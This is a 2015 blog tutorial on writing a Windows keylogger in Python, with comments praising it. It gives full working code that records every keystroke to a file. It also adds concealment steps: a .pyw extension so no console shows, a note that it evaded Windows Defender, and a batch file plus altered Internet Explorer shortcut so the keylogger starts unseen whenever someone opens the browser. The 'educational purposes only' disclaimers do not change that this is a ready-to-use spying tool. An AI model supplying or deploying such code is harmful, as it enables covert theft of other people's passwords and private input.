Monday, 31 August 2015

How to Write A Keylogger in Python

Ever wanted to know how to write a keylogger in Python? Here's how!!

Introduction



A keylogger is a simple piece of software that keeps an eye on every key you press and stores these keystrokes in a local file on your computer or sends it to a malicious attacker via internet. Though most of the softwares that claim to be a keylogger are actually counterfeits or are easily detected by an antivirus, the following keylogger was tested on Windows 8.1 and was not detected by Windows Defender and chances are that it will go unnoticed by other security softwares too :)

NOTE: THE FOLLOWING TUTORIAL IS FOR EDUCATIONAL PURPOSES ONLY!!! WE WILL NOT BE RESPONSIBLE FOR ANY MALICIOUS USE WHATSOEVER!!
 

How to Write a Keylogger in Python



=>First of all, download Python (if you don't already have it) from here:

http://python.org/getit

=>Then, you will need some additional packages for the keylogger to work, namely pywin32 and pyHook. Some people may suggest you to

download wheel files (.whl), but if you don't know how to install them, you can download the executables (.exe) and that would work

fine.

Get these packages from here:

http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/
http://sourceforge.net/projects/pyhook/

=>Install python. It will also install IDLE, an Integrated DeveLopment Environment for Python. Also installed the above downloaded packages.

=>Now, open IDLE. The Python Shell will open up. Click on File->New File.

 

How to write a keylogger in python

=>In the new file that opens, type the following code (note that in Python, indentation is crucial. Four spaces mean a block of code :) ) :
import pyHook,pythoncom,sys,logging

file_log = 'E:\\keylog.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

=>Now save the file as keylogger.pyw ('w' in pyw means that it will work silently, so no console will pop up :) )

That's it! Now double click on the file you just created and try to type anything on notepad or internet explorer, for instance.

 

keylogger2

 

Every character that you type will be stored in E:\keylog.txt file (you can change the path in the program).

=>To attach it to a program that user frequently uses, such as Internet Explorer, create a batch file named launch.bat and type the following in it:
@echo off
start "" "E:\Python Keylogger\keylogger.pyw"
start "" "C:\Program Files\Internet Explorer\iexplore.exe"

(change E:\Python Keylogger\keylogger.pyw with the path of your script)
This batch file will open up your browser and in background, the python script that you just wrote. This ensures that user will not know about it, hopefully. ;)

=>Now, right click on the Internet Explorer shortcut on your desktop and in the Target field, type:
"E:\Python Keylogger\launch.bat"

(or whatever the path of your keylogger is)

How to write a keylogger in python

 

Now, as soon as any user opens up internet explorer, their each and every keystroke will be stored in our keylog file. Cool, right? :)

 

keylogger3

 

This shows how easy it is to write a keylogger. Even a novice programmer can do that.

I remind you again, DON'T EVER USE SUCH PROGRAMS WITHOUT THE KNOWLEDGE OF THE USER. Learn them to gain information about systems and how they work, not to steal information.

Comment below for suggestions and queries!!!

2 comments:

  1. […] weeks ago we wrote about How to Write A Keylogger in Python. If you haven’t checked it out yet, well, do […]

    ReplyDelete
  2. Very good tutorial!
    Thank you :-)

    ReplyDelete